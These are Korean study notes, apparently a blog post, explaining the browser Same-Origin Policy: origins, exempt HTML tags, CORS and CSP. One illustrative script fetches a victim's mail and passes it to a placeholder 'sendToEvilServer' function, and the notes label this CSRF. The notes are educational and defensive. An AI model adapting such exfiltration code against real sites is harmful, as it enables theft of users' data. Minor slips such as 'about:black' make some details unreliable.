SOP에 대해 공부하며 정리한 글입니다. 자세한 내용은 레퍼런스의 링크들을 읽는 것이 좋습니다.
문서 또는 스크립트가 다른 origin과 통신하는 것을 제한하는 매커니즘
인터넷상의 악의적인 사이트들의 공격들을 막는데 도움이 된다.
예를 들어 악의적인 웹사이트에 다음과 같은 스크립트가 있다고 가정하면 접속한 사용자의 모든 메일을 얻을 수도 있는 것이다. (CSRF, XSS, Clickjacking등의 공격)
<!-- 이런 공격을 CSRF라고 합니다 -->
<!-- 실제로 이런 api는 없습니다! -->
<script>
fetch('https://gmail.com/api/all-mail')
.then((res) => sendToEvilServer(res));
</script>
origin은 프로토콜, 호스트, 포트를 합친 것이다. 셋 중에 하나라도 다르면 다른 origin으로 취급된다.
url이 about:black
, :javascript
인 문서의 스크립트는 상위 문서의 origin을 상속받는다.
노션 페이지의 개발자도구 콘솔에서 window.open()
을 입력하여 빈 페이지를 새 창으로 띄운다.
새 창에서 url과 origin을 확인해보면 노션의 origin을 그대로 사용하는 것을 확인할 수 있다.
document.domain
에 값을 할당하는 방식으로 약간의 제한과 함께 사용할 수 있지만, 보안적인 이유로 사용하지 않는다.
"그러면 SOP는 모든 cross-origin 요청을 막는 것인가? 지금까지 잘 다른 사이트의 리소스를 사용했는데?" 라고 말할 수 있다.
사실 그렇지는 않다. 역사적 사정이 있기 때문인지 몇몇 HTML태그들은 SOP의 제한을 받지 않는다.
SOP는 요청을 세 가지 카테고리로 나누고 각각 다르게 처리한다.
<a>
<form>
으로 다른 origin에 데이터를 쓰는 작업<script src="..."></script>
<link rel="stylesheet" href="…">
<img>
, <video>
, <audio>
, <object>
, <embed>
@font-face
<iframe>
필요에 따라서 SOP의 제한을 허용해주거나 SOP에 적용되지 않는 제한을 추가하면 좋을 때가 있다.
이런 필요에 의해 등장한 개념이 대표적으로 CORS와 CSP이다.
iframe, popup처럼 서로 다른 문서가 서로 직접 참조할 수 있는 경우, 두 문서의 origin이 다르면 다른 문서의 window, location객체에 사용할 수 있는 API가 제한된다.
postMessage()
를 사용하는 것이 좋다.다른 origin의 저장된 데이터(WebStorage, IndexdeDB)는 읽을 수 없다.